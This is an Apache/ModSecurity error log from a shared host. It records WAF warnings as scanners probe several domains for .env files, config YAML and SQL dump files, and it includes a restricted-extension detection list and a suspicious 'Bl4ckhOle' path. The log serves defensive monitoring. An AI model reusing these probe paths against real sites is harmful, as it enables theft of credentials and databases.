[Fri Jul 17 08:28:10.457090 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almaQuN_HRgVfO4akvmJvQAAABg"]
[Fri Jul 17 08:28:10.457248 2026] [hostinglimits:warn] [pid 2013828:tid 2013828] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(2013828) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.457415 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQuN_HRgVfO4akvmJvQAAABg"]
[Fri Jul 17 08:28:10.471577 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaQo1dLClkUfK_dfHhggAAAAI"]
[Fri Jul 17 08:28:10.471824 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaQo1dLClkUfK_dfHhggAAAAI"]
[Fri Jul 17 08:28:10.471971 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.472114 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQo1dLClkUfK_dfHhggAAAAI"]
[Fri Jul 17 08:28:10.491846 2026] [security2:error] [pid 1993715:tid 1993715] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/.env.dev"] [unique_id "almaQnRlmrtCoY_COpcikwAAAAg"]
[Fri Jul 17 08:28:10.492093 2026] [security2:error] [pid 1993715:tid 1993715] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/.env.dev"] [unique_id "almaQnRlmrtCoY_COpcikwAAAAg"]
[Fri Jul 17 08:28:10.492413 2026] [security2:error] [pid 1993715:tid 1993715] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/.env.dev"] [unique_id "almaQnRlmrtCoY_COpcikwAAAAg"]
[Fri Jul 17 08:28:10.494749 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaQpOFLENLI63GGOEKTgAAAAQ"]
[Fri Jul 17 08:28:10.495054 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaQpOFLENLI63GGOEKTgAAAAQ"]
[Fri Jul 17 08:28:10.495334 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQpOFLENLI63GGOEKTgAAAAQ"]
[Fri Jul 17 08:28:10.516641 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.589079 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaQl2NhE8i6ppze4et1gAAAAs"]
[Fri Jul 17 08:28:10.589301 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaQl2NhE8i6ppze4et1gAAAAs"]
[Fri Jul 17 08:28:10.589605 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQl2NhE8i6ppze4et1gAAAAs"]
[Fri Jul 17 08:28:10.719143 2026] [security2:error] [pid 1994966:tid 1994966] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaQryEqmgiTSUa55oHiwAAABA"]
[Fri Jul 17 08:28:10.719426 2026] [security2:error] [pid 1994966:tid 1994966] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaQryEqmgiTSUa55oHiwAAABA"]
[Fri Jul 17 08:28:10.719719 2026] [security2:error] [pid 1994966:tid 1994966] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQryEqmgiTSUa55oHiwAAABA"]
[Fri Jul 17 08:28:10.744721 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQQG5-NXx3Mem1QgOFQAAAA8"]
[Fri Jul 17 08:28:10.809681 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:10.809683 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:10.823694 2026] [security2:error] [pid 1996894:tid 1996894] [client 44.197.191.67:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaQo4Wmn5zySdNNkAkygAAABM"]
[Fri Jul 17 08:28:10.823902 2026] [security2:error] [pid 1996894:tid 1996894] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaQo4Wmn5zySdNNkAkygAAABM"]
[Fri Jul 17 08:28:10.824178 2026] [security2:error] [pid 1996894:tid 1996894] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaQo4Wmn5zySdNNkAkygAAABM"]
[Fri Jul 17 08:28:10.824433 2026] [security2:error] [pid 1996894:tid 1996894] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQo4Wmn5zySdNNkAkygAAABM"]
[Fri Jul 17 08:28:10.901268 2026] [security2:error] [pid 2013828:tid 2013828] [client 44.197.191.67:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "admin.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaQuN_HRgVfO4akvmJvgAAABg"]
[Fri Jul 17 08:28:10.901628 2026] [security2:error] [pid 2013828:tid 2013828] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaQuN_HRgVfO4akvmJvgAAABg"]
[Fri Jul 17 08:28:10.901887 2026] [security2:error] [pid 2013828:tid 2013828] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQuN_HRgVfO4akvmJvgAAABg"]
[Fri Jul 17 08:28:10.923377 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.197.191.67:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "admin.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaQo1dLClkUfK_dfHhgwAAAAI"]
[Fri Jul 17 08:28:10.923731 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaQo1dLClkUfK_dfHhgwAAAAI"]
[Fri Jul 17 08:28:10.923988 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQo1dLClkUfK_dfHhgwAAAAI"]
[Fri Jul 17 08:28:10.942592 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 57.141.18.17:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory68/node0/memory63/node0/memory3/subsystem/uevent
[Fri Jul 17 08:28:11.014097 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQkz_ZDvgWqiMlMbLSQAAAB0"]
[Fri Jul 17 08:28:11.099829 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNGidQp3SsqeycPEstgAAAAo"]
[Fri Jul 17 08:28:11.221848 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.197.191.67:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "admin.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaQ12NhE8i6ppze4et1wAAAAs"]
[Fri Jul 17 08:28:11.222115 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaQ12NhE8i6ppze4et1wAAAAs"]
[Fri Jul 17 08:28:11.222412 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaQ12NhE8i6ppze4et1wAAAAs"]
[Fri Jul 17 08:28:11.285837 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQnf2WrySr2miwA73fgAAABY"]
[Fri Jul 17 08:28:11.299121 2026] [security2:error] [pid 1993570:tid 1993570] [client 44.197.191.67:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag 